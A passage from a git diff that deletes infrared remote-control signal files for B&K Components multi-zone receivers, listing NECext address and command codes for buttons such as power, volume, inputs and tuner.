-type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 1B 00 00 00 -# -name: BK013_TUNE+ -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 1C 00 00 00 -# -name: BK013_LEFT -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 1F 00 00 00 -# -name: BK013_RIGHT -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 20 00 00 00 -# -name: BK013_VOLUME- -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 23 00 00 00 -# -name: BK013_VOLUME+ -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 24 00 00 00 -# -name: BK013_NUMBER_+10 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 29 00 00 00 -# -name: BK013_EQ -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 2A 00 00 00 -# -name: BK013_DOWN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 2D 00 00 00 -# -name: BK013_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 2E 00 00 00 -# -name: BK013_ENTER -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 30 00 00 00 -# -name: BK013_NUMBER_1 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 31 00 00 00 -# -name: BK013_NUMBER_2 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 32 00 00 00 -# -name: BK013_NUMBER_3 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 33 00 00 00 -# -name: BK013_NUMBER_4 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 35 00 00 00 -# -name: BK013_NUMBER_5 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 36 00 00 00 -# -name: BK013_NUMBER_6 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 37 00 00 00 -# -name: BK013_NUMBER_7 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 39 00 00 00 -# -name: BK013_NUMBER_8 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 3A 00 00 00 -# -name: BK013_NUMBER_9 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 3B 00 00 00 -# -name: BK013_NUMBER_0 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 3E 00 00 00 -# -name: BK013_SAVE -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 40 00 00 00 -# -name: BK013_TUNER_3 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 44 00 00 00 -# -name: BK013_INPUT_6 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 4A 00 00 00 -# -name: BK013_PRESET+ -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 4B 00 00 00 -# -name: BK013_D-IN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 5A 00 00 00 -# -name: BK013_BASS- -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 65 00 00 00 -# -name: BK013_SOURCE+ -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 66 00 00 00 -# -name: BK013_INPUT_9 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 6E 00 00 00 -# -name: BK013_AM -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 76 00 00 00 -# -name: BK013_TREBLE- -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 79 00 00 00 -# -name: BK013_VIDEO- -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 7A 00 00 00 -# -name: BK013_EXIT -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 7D 00 00 00 -# -name: BK013_TUNER_2 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 84 00 00 00 -# -name: BK013_FM -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 8E 00 00 00 -# -name: BK013_SOURCE- -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: A6 00 00 00 -# -name: BK013_SLEEP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: B3 00 00 00 -# -name: BK013_PRESET- -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: C6 00 00 00 -# -name: BK013_LOUDNESS -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: CF 00 00 00 -# -name: BK013_AUTO_LEVEL -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: E4 00 00 00 -# -name: BK013_BASS+ -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: E5 00 00 00 -# -name: BK013_TREBLE+ -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: F9 00 00 00 -# -name: BK013_VIDEO+ -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir deleted file mode 100644 index cae7a8e3d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK018_POWER_OFF -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 01 00 00 00 -# -name: BK018_POWER_ON -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 02 00 00 00 -# -name: BK018_MUTE -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 03 00 00 00 -# -name: BK018_INPUT_1 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 05 00 00 00 -# -name: BK018_INPUT_3 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 06 00 00 00 -# -name: BK018_INPUT_8 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 07 00 00 00 -# -name: BK018_INPUT_2 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 09 00 00 00 -# -name: BK018_INPUT_7 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 0B 00 00 00 -# -name: BK018_INPUT_4 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 0D 00 00 00 -# -name: BK018_TUNER_1 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 0E 00 00 00 -# -name: BK018_INPUT_5 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 0F 00 00 00 -# -name: BK018_STATION- -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 17 00 00 00 -# -name: BK018_STATION+ -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 18 00 00 00 -# -name: BK018_TUNE- -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 1B 00 00 00 -# -name: BK018_TUNE+ -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 1C 00 00 00 -# -name: BK018_LEFT -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 1F 00 00 00 -# -name: BK018_RIGHT -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 20 00 00 00 -# -name: BK018_VOLUME- -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 23 00 00 00 -# -name: BK018_VOLUME+ -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 24 00 00 00 -# -name: BK018_NUMBER_+10 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 29 00 00 00 -# -name: BK018_EQ -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 2A 00 00 00 -# -name: BK018_DOWN -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 2D 00 00 00 -# -name: BK018_UP -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 2E 00 00 00 -# -name: BK018_ENTER -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 30 00 00 00 -# -name: BK018_NUMBER_1 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 31 00 00 00 -# -name: BK018_NUMBER_2 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 32 00 00 00 -# -name: BK018_NUMBER_3 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 33 00 00 00 -# -name: BK018_NUMBER_4 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 35 00 00 00 -# -name: BK018_NUMBER_5 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 36 00 00 00 -# -name: BK018_NUMBER_6 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 37 00 00 00 -# -name: BK018_NUMBER_7 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 39 00 00 00 -# -name: BK018_NUMBER_8 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 3A 00 00 00 -# -name: BK018_NUMBER_9 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 3B 00 00 00 -# -name: BK018_NUMBER_0 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 3E 00 00 00 -# -name: BK018_SAVE -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 40 00 00 00 -# -name: BK018_TUNER_3 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 44 00 00 00 -# -name: BK018_INPUT_6 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 4A 00 00 00 -# -name: BK018_PRESET+ -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 4B 00 00 00 -# -name: BK018_D-IN -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 5A 00 00 00 -# -name: BK018_BASS- -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 65 00 00 00 -# -name: BK018_SOURCE+ -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 66 00 00 00 -# -name: BK018_INPUT_9 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 6E 00 00 00 -# -name: BK018_AM -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 76 00 00 00 -# -name: BK018_TREBLE- -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 79 00 00 00 -# -name: BK018_VIDEO- -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 7A 00 00 00 -# -name: BK018_EXIT -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 7D 00 00 00 -# -name: BK018_TUNER_2 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 84 00 00 00 -# -name: BK018_FM -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 8E 00 00 00 -# -name: BK018_SOURCE- -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: A6 00 00 00 -# -name: BK018_SLEEP -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: B3 00 00 00 -# -name: BK018_PRESET- -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: C6 00 00 00 -# -name: BK018_LOUDNESS -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: CF 00 00 00 -# -name: BK018_AUTO_LEVEL -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: E4 00 00 00 -# -name: BK018_BASS+ -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: E5 00 00 00 -# -name: BK018_TREBLE+ -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: F9 00 00 00 -# -name: BK018_VIDEO+ -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir deleted file mode 100644 index 022d98ef5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK020_POWER_OFF -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 01 00 00 00 -# -name: BK020_POWER_ON -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 02 00 00 00 -# -name: BK020_MUTE -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 03 00 00 00 -# -name: BK020_INPUT_1 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 05 00 00 00 -# -name: BK020_INPUT_3 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 06 00 00 00 -# -name: BK020_INPUT_8 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 07 00 00 00 -# -name: BK020_INPUT_2 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 09 00 00 00 -# -name: BK020_INPUT_7 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 0B 00 00 00 -# -name: BK020_INPUT_4 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 0D 00 00 00 -# -name: BK020_TUNER_1 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 0E 00 00 00 -# -name: BK020_INPUT_5 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 0F 00 00 00 -# -name: BK020_STATION- -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 17 00 00 00 -# -name: BK020_STATION+ -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 18 00 00 00 -# -name: BK020_TUNE- -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 1B 00 00 00 -# -name: BK020_TUNE+ -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 1C 00 00 00 -# -name: BK020_LEFT -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 1F 00 00 00 -# -name: BK020_RIGHT -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 20 00 00 00 -# -name: BK020_VOLUME- -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 23 00 00 00 -# -name: BK020_VOLUME+ -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 24 00 00 00 -# -name: BK020_NUMBER_+10 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 29 00 00 00 -# -name: BK020_EQ -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 2A 00 00 00 -# -name: BK020_DOWN -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 2D 00 00 00 -# -name: BK020_UP -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 2E 00 00 00 -# -name: BK020_ENTER -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 30 00 00 00 -# -name: BK020_NUMBER_1 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 31 00 00 00 -# -name: BK020_NUMBER_2 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 32 00 00 00 -# -name: BK020_NUMBER_3 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 33 00 00 00 -# -name: BK020_NUMBER_4 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 35 00 00 00 -# -name: BK020_NUMBER_5 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 36 00 00 00 -# -name: BK020_NUMBER_6 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 37 00 00 00 -# -name: BK020_NUMBER_7 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 39 00 00 00 -# -name: BK020_NUMBER_8 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 3A 00 00 00 -# -name: BK020_NUMBER_9 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 3B 00 00 00 -# -name: BK020_NUMBER_0 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 3E 00 00 00 -# -name: BK020_SAVE -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 40 00 00 00 -# -name: BK020_TUNER_3 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 44 00 00 00 -# -name: BK020_INPUT_6 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 4A 00 00 00 -# -name: BK020_PRESET+ -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 4B 00 00 00 -# -name: BK020_D-IN -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 5A 00 00 00 -# -name: BK020_BASS- -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 65 00 00 00 -# -name: BK020_SOURCE+ -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 66 00 00 00 -# -name: BK020_INPUT_9 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 6E 00 00 00 -# -name: BK020_AM -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 76 00 00 00 -# -name: BK020_TREBLE- -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 79 00 00 00 -# -name: BK020_VIDEO- -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 7A 00 00 00 -# -name: BK020_EXIT -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 7D 00 00 00 -# -name: BK020_TUNER_2 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 84 00 00 00 -# -name: BK020_FM -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 8E 00 00 00 -# -name: BK020_SOURCE- -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: A6 00 00 00 -# -name: BK020_SLEEP -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: B3 00 00 00 -# -name: BK020_PRESET- -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: C6 00 00 00 -# -name: BK020_LOUDNESS -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: CF 00 00 00 -# -name: BK020_AUTO_LEVEL -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: E4 00 00 00 -# -name: BK020_BASS+ -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: E5 00 00 00 -# -name: BK020_TREBLE+ -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: F9 00 00 00 -# -name: BK020_VIDEO+ -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir deleted file mode 100644 index eb044eec3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK036_POWER_OFF -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 01 00 00 00 -# -name: BK036_POWER_ON -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 02 00 00 00 -# -name: BK036_MUTE -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 03 00 00 00 -# -name: BK036_INPUT_1 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 05 00 00 00 -# -name: BK036_INPUT_3 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 06 00 00 00 -# -name: BK036_INPUT_8 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 07 00 00 00 -# -name: BK036_INPUT_2 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 09 00 00 00 -# -name: BK036_INPUT_7 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 0B 00 00 00 -# -name: BK036_INPUT_4 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 0D 00 00 00 -# -name: BK036_TUNER_1 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 0E 00 00 00 -# -name: BK036_INPUT_5 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 0F 00 00 00 -# -name: BK036_STATION- -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 17 00 00 00 -# -name: BK036_STATION+ -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 18 00 00 00 -# -name: BK036_TUNE- -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 1B 00 00 00 -# -name: BK036_TUNE+ -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 1C 00 00 00 -# -name: BK036_LEFT -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 1F 00 00 00 -# -name: BK036_RIGHT -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 20 00 00 00 -# -name: BK036_VOLUME- -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 23 00 00 00 -# -name: BK036_VOLUME+ -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 24 00 00 00 -# -name: BK036_NUMBER_+10 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 29 00 00 00 -# -name: BK036_EQ -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 2A 00 00 00 -# -name: BK036_DOWN -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 2D 00 00 00 -# -name: BK036_UP -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 2E 00 00 00 -# -name: BK036_ENTER -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 30 00 00 00 -# -name: BK036_NUMBER_1 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 31 00 00 00 -# -name: BK036_NUMBER_2 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 32 00 00 00 -# -name: BK036_NUMBER_3 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 33 00 00 00 -# -name: BK036_NUMBER_4 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 35 00 00 00 -# -name: BK036_NUMBER_5 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 36 00 00 00 -# -name: BK036_NUMBER_6 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 37 00 00 00 -# -name: BK036_NUMBER_7 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 39 00 00 00 -# -name: BK036_NUMBER_8 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 3A 00 00 00 -# -name: BK036_NUMBER_9 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 3B 00 00 00 -# -name: BK036_NUMBER_0 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 3E 00 00 00 -# -name: BK036_SAVE -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 40 00 00 00 -# -name: BK036_TUNER_3 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 44 00 00 00 -# -name: BK036_INPUT_6 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 4A 00 00 00 -# -name: BK036_PRESET+ -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 4B 00 00 00 -# -name: BK036_D-IN -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 5A 00 00 00 -# -name: BK036_BASS- -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 65 00 00 00 -# -name: BK036_SOURCE+ -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 66 00 00 00 -# -name: BK036_INPUT_9 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 6E 00 00 00 -# -name: BK036_AM -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 76 00 00 00 -# -name: BK036_TREBLE- -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 79 00 00 00 -# -name: BK036_VIDEO- -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 7A 00 00 00 -# -name: BK036_EXIT -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 7D 00 00 00 -# -name: BK036_TUNER_2 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 84 00 00 00 -# -name: BK036_FM -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 8E 00 00 00 -# -name: BK036_SOURCE- -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: A6 00 00 00 -# -name: BK036_SLEEP -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: B3 00 00 00 -# -name: BK036_PRESET- -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: C6 00 00 00 -# -name: BK036_LOUDNESS -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: CF 00 00 00 -# -name: BK036_AUTO_LEVEL -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: E4 00 00 00 -# -name: BK036_BASS+ -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: E5 00 00 00 -# -name: BK036_TREBLE+ -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: F9 00 00 00 -# -name: BK036_VIDEO+ -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir deleted file mode 100644 index 91a49af83..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK027_POWER_OFF -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 01 00 00 00 -# -name: BK027_POWER_ON -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 02 00 00 00 -# -name: BK027_MUTE -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 03 00 00 00 -# -name: BK027_INPUT_1 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 05 00 00 00 -# -name: BK027_INPUT_3 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 06 00 00 00 -# -name: BK027_INPUT_8 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 07 00 00 00 -# -name: BK027_INPUT_2 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 09 00 00 00 -# -name: BK027_INPUT_7 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 0B 00 00 00 -# -name: BK027_INPUT_4 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 0D 00 00 00 -# -name: BK027_TUNER_1 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 0E 00 00 00 -# -name: BK027_INPUT_5 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 0F 00 00 00 -# -name: BK027_STATION- -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 17 00 00 00 -# -name: BK027_STATION+ -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 18 00 00 00 -# -name: BK027_TUNE- -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 1B 00 00 00 -# -name: BK027_TUNE+ -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 1C 00 00 00 -# -name: BK027_LEFT -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 1F 00 00 00 -# -name: BK027_RIGHT -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 20 00 00 00 -# -name: BK027_VOLUME- -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 23 00 00 00 -# -name: BK027_VOLUME+ -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 24 00 00 00 -# -name: BK027_NUMBER_+10 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 29 00 00 00 -# -name: BK027_EQ -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 2A 00 00 00 -# -name: BK027_DOWN -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 2D 00 00 00 -# -name: BK027_UP -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 2E 00 00 00 -# -name: BK027_ENTER -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 30 00 00 00 -# -name: BK027_NUMBER_1 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 31 00 00 00 -# -name: BK027_NUMBER_2 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 32 00 00 00 -# -name: BK027_NUMBER_3 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 33 00 00 00 -# -name: BK027_NUMBER_4 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 35 00 00 00 -# -name: BK027_NUMBER_5 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 36 00 00 00 -# -name: BK027_NUMBER_6 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 37 00 00 00 -# -name: BK027_NUMBER_7 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 39 00 00 00 -# -name: BK027_NUMBER_8 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 3A 00 00 00 -# -name: BK027_NUMBER_9 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 3B 00 00 00 -# -name: BK027_NUMBER_0 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 3E 00 00 00 -# -name: BK027_SAVE -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 40 00 00 00 -# -name: BK027_TUNER_3 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 44 00 00 00 -# -name: BK027_INPUT_6 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 4A 00 00 00 -# -name: BK027_PRESET+ -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 4B 00 00 00 -# -name: BK027_D-IN -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 5A 00 00 00 -# -name: BK027_BASS- -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 65 00 00 00 -# -name: BK027_SOURCE+ -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 66 00 00 00 -# -name: BK027_INPUT_9 -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 6E 00 00 00 -# -name: BK027_AM -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 76 00 00 00 -# -name: BK027_TREBLE- -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 79 00 00 00 -# -name: BK027_VIDEO- -type: parsed -protocol: NECext -address: 57 8A 00 00 -command: 7A 00 00 00 -# -name: BK027_EXIT 